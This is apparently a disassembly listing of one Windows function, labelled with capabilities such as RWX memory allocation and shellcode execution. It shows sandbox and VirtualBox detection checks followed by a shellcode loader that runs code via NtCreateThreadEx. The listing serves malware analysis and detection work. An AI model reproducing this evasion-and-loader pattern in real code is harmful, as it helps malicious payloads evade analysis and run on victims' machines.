Function at 0x140001020
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get memory capacity
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x570
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x560], rax
lea rcx, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0xf0], 2
jb 0x1400013f3
lea rcx, [rsp + 0x90]
mov dword [rsp + 0x90], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x98]
shr rax, 0x14
cmp eax, 0x800
jb 0x1400013f3
xor ebp, ebp
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], ebp
xor edx, edx
mov r8d, 3
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rbp
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x78]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x88]
mov eax, dword [rsp + 0x8c]
imul rax, rcx
mov ecx, dword [rsp + 0x84]
imul rax, rcx
imul rax, qword [rsp + 0x78]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x1400013f3
lea rdx, [rsp + 0x100]
lea rcx, str.C:WindowsSystem32VBox.dll
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x1400013f3
lea rax, [rsp + 0x68]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001ServicesVBoxSF
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400013f3
mov r8d, 0x105
lea rdx, [rsp + 0x350]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x350]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.C:USERSPUBLIC_
lea rcx, [rsp + 0x350]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x1400013f3
lea rdx, str.MALWARE.EXE
lea rcx, [rsp + 0x350]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x1400013f3
lea rcx, str.ntdll.dll
mov qword [rsp + 0x580], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
jne 0x14000121a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_load_ntdll.dll
call fcn.140001470
mov rcx, rax
lea rdx, [0x140001650]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400012d7
lea rdx, str.NtCreateThreadEx
mov qword [rsp + 0x588], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x14000126d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_locate_NtCreateThreadEx
call fcn.140001470
mov rcx, rax
lea rdx, [0x140001650]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1400012cf
mov edx, 1
mov qword [rsp + 0x590], rdi
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400012f8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_allocate_memory_for_Shellcode
call fcn.140001470
mov rcx, rax
lea rdx, [0x140001650]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
mov rdi, qword [rsp + 0x590]
mov rsi, qword [rsp + 0x588]
mov rbx, qword [rsp + 0x580]
mov rcx, qword [rsp + 0x560]
xor rcx, rsp
call fcn.1400016a0
add rsp, 0x570
pop rbp
ret
mov byte [rax], bpl
mov qword [rsp + 0x60], rbp
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], rbp
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x48], rbp
mov r9, rax
mov qword [rsp + 0x40], rbp
xor r8d, r8d
mov qword [rsp + 0x38], rbp
mov edx, 0x1fffff
mov dword [rsp + 0x30], ebp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
call rsi
mov esi, eax
test eax, eax
je 0x140001394
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.NtCreateThreadEx_failed_with_status:
call fcn.140001470
mov rcx, rax
lea rdx, section..text
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, esi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001650]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1400012b9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Shellcode_executed_successfully_
call fcn.140001470
mov rcx, rax
lea rdx, [0x140001650]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x60]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x1400012c7
xor eax, eax
jmp 0x1400012df